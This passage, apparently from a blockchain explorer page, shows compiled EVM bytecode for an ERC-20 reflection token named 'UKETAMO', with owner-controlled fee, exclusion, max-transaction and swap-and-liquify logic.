2d565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61208b612395565b73ffffffffffffffffffffffffffffffffffffffff166120a9611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690614e2d565b60405180910390fd5b8060188190555050565b612111612395565b73ffffffffffffffffffffffffffffffffffffffff1661212f611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614612185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217c90614e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ec90614c6d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6122ba612395565b73ffffffffffffffffffffffffffffffffffffffff166122d8611b4e565b73ffffffffffffffffffffffffffffffffffffffff161461232e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232590614e2d565b60405180910390fd5b80601760156101000a81548160ff0219169083151502179055507f7ed863420a49a423f32717f77f47c79cfc816f26cce747f9dd300c67cb17b647816040516123779190614bf5565b60405180910390a150565b600860009054906101000a900460ff1681565b6000803390506000819050809250505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f90614e6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247f90614c8d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125669190614e8d565b60405180910390a3505050565b600080823b905060008111915050919050565b600082116125c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c090614e4d565b60405180910390fd5b6125d28461191c565b821115612614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260b90614ded565b60405180910390fd5b61261c611b4e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561268a575061265a611b4e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156127365750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127355750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b1561278157601854821115612780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277790614dcd565b60405180910390fd5b5b600061278c3061191c565b9050601854811061279d5760185490505b600060195482101590508080156127c15750601760149054906101000a900460ff16155b801561281b5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156128335750601760159054906101000a900460ff165b15612847576019549150612846826130ef565b5b60008380156128f45750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128f25750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b155b9050612902878787846131cb565b50505050505050565b6000838311158290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a9190614c2b565b60405180910390fd5b5082846129609190615224565b90509392505050565b6000806000612976613861565b9150915061298d8183612f7690919063ffffffff16565b9250505090565b806010541415612a89576127106009546129ae91906151ca565b6009546129bb9190614fd2565b600981905550612a2082600a546129d291906151ca565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a54612a7191906151ca565b600a54612a7e9190614fd2565b600a81905550612b6d565b612710600954612a999190614fd2565b600954612aa69190614fd2565b600981905550601054600a54612abc9190614fd2565b600a81905550612b29612adb600760105461307490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600080600267ffffffffffffffff811115612bb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612be35781602001602082028036833780820191505090505b5090503081600081518110612c21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612cc357600080fd5b505afa158015612cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cfb9190614294565b81600181518110612d35577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105483612d7d9190615224565b612da930601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f25565b1015612ddf57612dde30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196123a8565b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94760105485612e2b9190615224565b6000843061ea6042612e3d9190614fd2565b6040518663ffffffff1660e01b8152600401612e5d959493929190614ea8565b600060405180830381600087803b158015612e7757600080fd5b505af1925050508015612e88575060015b612ecb577f22b212abbac4f28435a37f1253f735d1d9c9b444577feee64b691ca091130297604051612eb990614ccd565b60405180910390a16000915050612f06565b7f22b212abbac4f28435a37f1253f735d1d9c9b444577feee64b691ca091130297604051612ef890614ced565b60405180910390a160019150505b919050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612f73573d6000803e3d6000fd5b50565b6000808211612fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb190614d8d565b60405180910390fd5b8183612fc69190615028565b905092915050565b6000808284612fdd9190614fd2565b905083811015613022576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161301990614cad565b60405180910390fd5b8091505092915050565b6130346141c5565b61303e8383613bac565b905061305381848461304e612969565b613cae565b83600001846020018560400183815250838152508381525050505092915050565b60008083141561308757600090506130e9565b6000828461309591906151ca565b90508284826130a49190615028565b146130e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130db90614e0d565b60405180910390fd5b809150505b92915050565b6001601760146101000a81548160ff0219169083151502179055506000613120600283612f7690919063ffffffff16565b905060006131378284613d7190919063ffffffff16565b9050600047905061314783612b71565b156131aa5760006131618247613d7190919063ffffffff16565b905061316d8382613dca565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618482856040516131a093929190614f2b565b60405180910390a1505b5050506000601760146101000a81548160ff02191690831515021790555050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561322c57600c600081548092919061322690615328565b91905055505b6000613238838361302c565b9050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132dd5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561337c5761333483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369a565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561341f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134c25761347a8160600151600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613699565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156135645750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613698576135bb83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136548160600151600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b6136f08160000151600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137829190614fd2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137d28160a00151613eca565b6137e48160400151826080015161406f565b6137f18160c001516140a9565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83606001516040516138529190614e8d565b60405180910390a35050505050565b6000806000600a5490506000600954905060005b600780549050811015613b6f578260016000600784815481106138c1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806139d5575081600260006007848154811061396d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156139ec57600a5460095494509450505050613ba8565b613aa26001600060078481548110613a2d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613d7190919063ffffffff16565b9250613b5a6002600060078481548110613ae5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613d7190919063ffffffff16565b91508080613b6790615328565b915050613875565b50613b87600954600a54612f7690919063ffffffff16565b821015613b9f57600a54600954935093505050613ba8565b81819350935050505b9091565b613bb46141c5565b81613bc85782816060018181525050613ca8565b613bf06064613be26011548661307490919063ffffffff16565b612f7690919063ffffffff16565b816080018181525050613c216064613c136012548661307490919063ffffffff16565b612f7690919063ffffffff16565b8160a0018181525050613c526064613c446013548661307490919063ffffffff16565b612f7690919063ffffffff16565b8160c0018181525050613c9e8160c00151613c908360a00151613c82856080015188613d7190919063ffffffff16565b613d7190919063ffffffff16565b613d7190919063ffffffff16565b8160600181815250505b92915050565b6000806000613cc6848761307490919063ffffffff16565b925084613cdc5782836000925092509250613d67565b613cf384886080015161307490919063ffffffff16565b90506000613d0e858960a0015161307490919063ffffffff16565b90506000613d29868a60c0015161307490919063ffffffff16565b9050613d6281613d5484613d46878a613d7190919063ffffffff16565b613d7190919063ffffffff16565b613d7190919063ffffffff16565b935050505b9450945094915050565b600082821115613db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dad90614d4d565b60405180910390fd5b8183613dc29190615224565b905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613e16611b4e565b426040518863ffffffff1660e01b8152600401613e3896959493929190614b94565b6060604051808303818588803b158015613e5157600080fd5b505af1158015613e65573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613e8a9190614412565b5050507f38f8a0c92f4c5b0b6877f878cb4c0c8d348a47b76d716c8e78f425043df9515b8282604051613ebe929190614f02565b60405180910390a15050565b6000613ed4612969565b90506000613eeb828461307490919063ffffffff16565b9050613f3f81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561406a5761402683600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61408482600a54613d7190919063ffffffff16565b600a8190555061409f81600b54612fce90919063ffffffff16565b600b819055505050565b60006140b3612969565b905060006140ca828461307490919063ffffffff16565b90506140e183600e54612fce90919063ffffffff16565b600e8190555061415b8160016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b60016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050614211816153ed565b92915050565b600081519050614226816153ed565b92915050565b60008135905061423b81615404565b92915050565b6000813590506142508161541b565b92915050565b6000815190506142658161541b565b92915050565b60006020828403121561427d57600080fd5b600061428b84828501614202565b91505092915050565b6000602082840312156142a657600080fd5b60006142b484828501614217565b91505092915050565b600080604083850312156142d057600080fd5b60006142de85828601614202565b92505060206142ef85828601614202565b9150509250929050565b60008060006060848603121561430e57600080fd5b600061431c86828701614202565b935050602061432d86828701614202565b925050604061433e86828701614241565b9150509250925092565b6000806040838503121561435b57600080fd5b600061436985828601614202565b925050602061437a85828601614241565b9150509250929050565b60006020828403121561439657600080fd5b60006143a48482850161422c565b91505092915050565b6000602082840312156143bf57600080fd5b60006143cd84828501614241565b91505092915050565b600080604083850312156143e957600080fd5b60006143f785828601614241565b92505060206144088582860161422c565b9150509250929050565b60008060006060848603121561442757600080fd5b600061443586828701614256565b935050602061444686828701614256565b925050604061445786828701614256565b9150509250925092565b600061446d8383614488565b60208301905092915050565b6144828161526a565b82525050565b61449181615258565b82525050565b6144a081615258565b82525050565b60006144b182614f8d565b6144bb8185614fb0565b93506144c683614f7d565b8060005b838110156144f75781516144de8882614461565b97506144e983614fa3565b9250506001810190506144ca565b5085935050505092915050565b61450d8161527c565b82525050565b61451c816152bf565b82525050565b61452b816152e3565b82525050565b600061453c82614f98565b6145468185614fc1565b93506145568185602086016152f5565b61455f816153cf565b840191505092915050565b6000614577602a83614fc1565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b60006145dd602683614fc1565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614643602283614fc1565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006146a9601b83614fc1565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006146e9600683614fc1565b91507f4661696c656400000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614729600783614fc1565b91507f53756363657373000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614769601783614fc1565b91507f4572726f723a20496e73756666696369656e74204741530000000000000000006000830152602082019050919050565b60006147a9601b83614fc1565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b60006147e9601e83614fc1565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000614829601783614fc1565b91507f4163636f756e74206973206e6f74206578636c756465640000000000000000006000830152602082019050919050565b6000614869601a83614fc1565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b60006148a9601f83614fc1565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b60006148e9602883614fc1565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b600061494f604783614fc1565b91507f496e7375662062616c616e63652c20636865636b2062616c616e63652061742060008301527f5361666553616c652e66696e616e636520696620796f75206861766520746f6b60208301527f656e206c6f636b000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006149db602183614fc1565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614a41602083614fc1565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614a81602983614fc1565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ae7602483614fc1565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b614b49816152a8565b82525050565b614b58816152b2565b82525050565b6000602082019050614b736000830184614497565b92915050565b6000602082019050614b8e6000830184614479565b92915050565b600060c082019050614ba96000830189614497565b614bb66020830188614b40565b614bc36040830187614522565b614bd06060830186614522565b614bdd6080830185614497565b614bea60a0830184614b40565b979650505050505050565b6000602082019050614c0a6000830184614504565b92915050565b6000602082019050614c256000830184614513565b92915050565b60006020820190508181036000830152614c458184614531565b905092915050565b60006020820190508181036000830152614c668161456a565b9050919050565b60006020820190508181036000830152614c86816145d0565b9050919050565b60006020820190508181036000830152614ca681614636565b9050919050565b60006020820190508181036000830152614cc68161469c565b9050919050565b60006020820190508181036000830152614ce6816146dc565b9050919050565b60006020820190508181036000830152614d068161471c565b9050919050565b60006020820190508181036000830152614d268161475c565b9050919050565b60006020820190508181036000830152614d468161479c565b9050919050565b60006020820190508181036000830152614d66816147dc565b9050919050565b60006020820190508181036000830152614d868161481c565b9050919050565b60006020820190508181036000830152614da68161485c565b9050919050565b60006020820190508181036000830152614dc68161489c565b9050919050565b60006020820190508181036000830152614de6816148dc565b9050919050565b60006020820190508181036000830152614e0681614942565b9050919050565b60006020820190508181036000830152614e26816149ce565b9050919050565b60006020820190508181036000830152614e4681614a34565b9050919050565b60006020820190508181036000830152614e6681614a74565b9050919050565b60006020820190508181036000830152614e8681614ada565b9050919050565b6000602082019050614ea26000830184614b40565b92915050565b600060a082019050614ebd6000830188614b40565b614eca6020830187614522565b8181036040830152614edc81866144a6565b9050614eeb6060830185614497565b614ef86080830184614b40565b9695505050505050565b6000604082019050614f176000830185614b40565b614f246020830184614b40565b9392505050565b6000606082019050614f406000830186614b40565b614f4d6020830185614b40565b614f5a6040830184614b40565b949350505050565b6000602082019050614f776000830184614b4f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614fdd826152a8565b9150614fe8836152a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561501d5761501c615371565b5b828201905092915050565b6000615033826152a8565b915061503e836152a8565b92508261504e5761504d6153a0565b5b828204905092915050565b6000808291508390505b60018511156150a35780860481111561507f5761507e615371565b5b600185161561508e5780820291505b808102905061509c856153e0565b9450615063565b94509492505050565b60006150b7826152a8565b91506150c2836152b2565b92506150ef7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846150f7565b905092915050565b60008261510757600190506151c3565b8161511557600090506151c3565b816001811461512b576002811461513557615164565b60019150506151c3565b60ff84111561514757615146615371565b5b8360020a91508482111561515e5761515d615371565b5b506151c3565b5060208310610133831016604e8410600b84101617156151995782820a90508381111561519457615193615371565b5b6151c3565b6151a68484846001615059565b925090508184048111156151bd576151bc615371565b5b81810290505b9392505050565b60006151d5826152a8565b91506151e0836152a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561521957615218615371565b5b828202905092915050565b600061522f826152a8565b915061523a836152a8565b92508282101561524d5761524c615371565b5b828203905092915050565b600061526382615288565b9050919050565b600061527582615288565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006152ca826152d1565b9050919050565b60006152dc82615288565b9050919050565b60006152ee826152a8565b9050919050565b60005b838110156153135780820151818401526020810190506152f8565b83811115615322576000848401525b50505050565b6000615333826152a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561536657615365615371565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6153f681615258565b811461540157600080fd5b50565b61540d8161527c565b811461541857600080fd5b50565b615424816152a8565b811461542f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200507fd09971ef8d0257aaa41c2d07963a94d1074cd34d1b092a365edb828d4af64736f6c63430008000033
Deployed Bytecode
0x6080604052600436106102765760003560e01c80635342acb41161014f578063bfa24742116100c1578063dd62ed3e1161007a578063dd62ed3e1461098b578063ea2f0b37146109c8578063ec28438a146109f1578063f2fde38b14610a1a578063f61b829314610a43578063fbc232cd14610a6c5761027d565b8063bfa247421461088d578063cf80ee3d146108b6578063d12a7688146108e1578063d20c50d51461090c578063d543dbeb14610937578063db5d6536146109605761027d565b806388f820201161011357806388f82020146107695780638da5cb5b146107a657806395d89b41146107d15780639f16544d146107fc578063a457c2d714610813578063a9059cbb146108505761027d565b80635342acb41461068457806354bc089f146106c157806370a08231146106ea578063715018a6146107275780637d1db4a51461073e5761027d565b8063313ce567116101e857806340fb7ad9116101ac57806340fb7ad914610550578063437823ec1461058d5780634549b039146105b65780634a595551146105f35780634d11ef9b1461061e5780634ed38faf146106475761027d565b8063313ce5671461047b5780633467a760146104a657806338dac461146104d15780633936e8b9146104e857806339509351146105135761027d565b806320fecdd11161023a57806320fecdd11461036b57806323b872dd146103965780632598cdb2146103d357806329ffe94d146103fe5780632d6c2631146104155780632d8381191461043e5761027d565b8063055add0d1461028257806306fdde03146102ad578063095ea7b3146102d857806313114a9d1461031557806318160ddd146103405761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610a97565b6040516102a49190614c10565b60405180910390f35b3480156102b957600080fd5b506102c2610abd565b6040516102cf9190614c2b565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190614348565b610afa565b60405161030c9190614bf5565b60405180910390f35b34801561032157600080fd5b5061032a610b18565b6040516103379190614e8d565b60405180910390f35b34801561034c57600080fd5b50610355610b22565b6040516103629190614e8d565b60405180910390f35b34801561037757600080fd5b50610380610b2c565b60405161038d9190614e8d565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906142f9565b610b32565b6040516103ca9190614bf5565b60405180910390f35b3480156103df57600080fd5b506103e8610c60565b6040516103f59190614b5e565b60405180910390f35b34801561040a57600080fd5b50610413610c86565b005b34801561042157600080fd5b5061043c6004803603810190610437919061426b565b610e11565b005b34801561044a57600080fd5b50610465600480360381019061046091906143ad565b6111df565b6040516104729190614e8d565b60405180910390f35b34801561048757600080fd5b5061049061124d565b60405161049d9190614f62565b60405180910390f35b3480156104b257600080fd5b506104bb611256565b6040516104c89190614bf5565b60405180910390f35b3480156104dd57600080fd5b506104e6611269565b005b3480156104f457600080fd5b506104fd611311565b60405161050a9190614b79565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190614348565b611337565b6040516105479190614bf5565b60405180910390f35b34801561055c57600080fd5b506105776004803603810190610572919061426b565b6113ea565b6040516105849190614bf5565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af919061426b565b61140a565b005b3480156105c257600080fd5b506105dd60048036038101906105d891906143d6565b6114e1565b6040516105ea9190614e8d565b60405180910390f35b3480156105ff57600080fd5b50610608611567565b6040516106159190614bf5565b60405180910390f35b34801561062a57600080fd5b506106456004803603810190610640919061426b565b61157a565b005b34801561065357600080fd5b5061066e6004803603810190610669919061426b565b61160b565b60405161067b9190614bf5565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a6919061426b565b61162b565b6040516106b89190614bf5565b60405180910390f35b3480156106cd57600080fd5b506106e860048036038101906106e3919061426b565b611681565b005b3480156106f657600080fd5b50610711600480360381019061070c919061426b565b61191c565b60405161071e9190614e8d565b60405180910390f35b34801561073357600080fd5b5061073c611a07565b005b34801561074a57600080fd5b50610753611af2565b6040516107609190614e8d565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b919061426b565b611af8565b60405161079d9190614bf5565b60405180910390f35b3480156107b257600080fd5b506107bb611b4e565b6040516107c89190614b5e565b60405180910390f35b3480156107dd57600080fd5b506107e6611b77565b6040516107f39190614c2b565b60405180910390f35b34801561080857600080fd5b50610811611bb4565b005b34801561081f57600080fd5b5061083a60048036038101906108359190614348565b611c5c565b6040516108479190614bf5565b60405180910390f35b34801561085c57600080fd5b5061087760048036038101906108729190614348565b611d29565b6040516108849190614bf5565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af91906143ad565b611d57565b005b3480156108c257600080fd5b506108cb611df5565b6040516108d89190614e8d565b60405180910390f35b3480156108ed57600080fd5b506108f6611dff565b6040516109039190614e8d565b60405180910390f35b34801561091857600080fd5b50610921611e05565b60405161092e9190614b5e565b60405180910390f35b34801561094357600080fd5b5061095e600480360381019061095991906143ad565b611e2b565b005b34801561096c57600080fd5b50610975611f1b565b6040516109829190614e8d565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad91906142bd565b611f25565b6040516109bf9190614e8d565b60405180910390f35b3480156109d457600080fd5b506109ef60048036038101906109ea919061426b565b611fac565b005b3480156109fd57600080fd5b50610a186004803603810190610a1391906143ad565b612083565b005b348015610a2657600080fd5b50610a416004803603810190610a3c919061426b565b612109565b005b348015610a4f57600080fd5b50610a6a6004803603810190610a659190614384565b6122b2565b005b348015610a7857600080fd5b50610a81612382565b604051610a8e9190614bf5565b60405180910390f35b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600881526020017f554b4554414d4f20000000000000000000000000000000000000000000000000815250905090565b6000610b0e610b07612395565b84846123a8565b6001905092915050565b6000600b54905090565b6000600954905090565b600c5481565b6000610b538473ffffffffffffffffffffffffffffffffffffffff16612573565b15610b7857610b73848484600860019054906101000a900460ff16612586565b610b94565b610b93848484600860009054906101000a900460ff16612586565b5b610c5584610ba0612395565b610c508560405180606001604052806028815260200161543360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c06612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290b9092919063ffffffff16565b6123a8565b600190509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc7612395565b73ffffffffffffffffffffffffff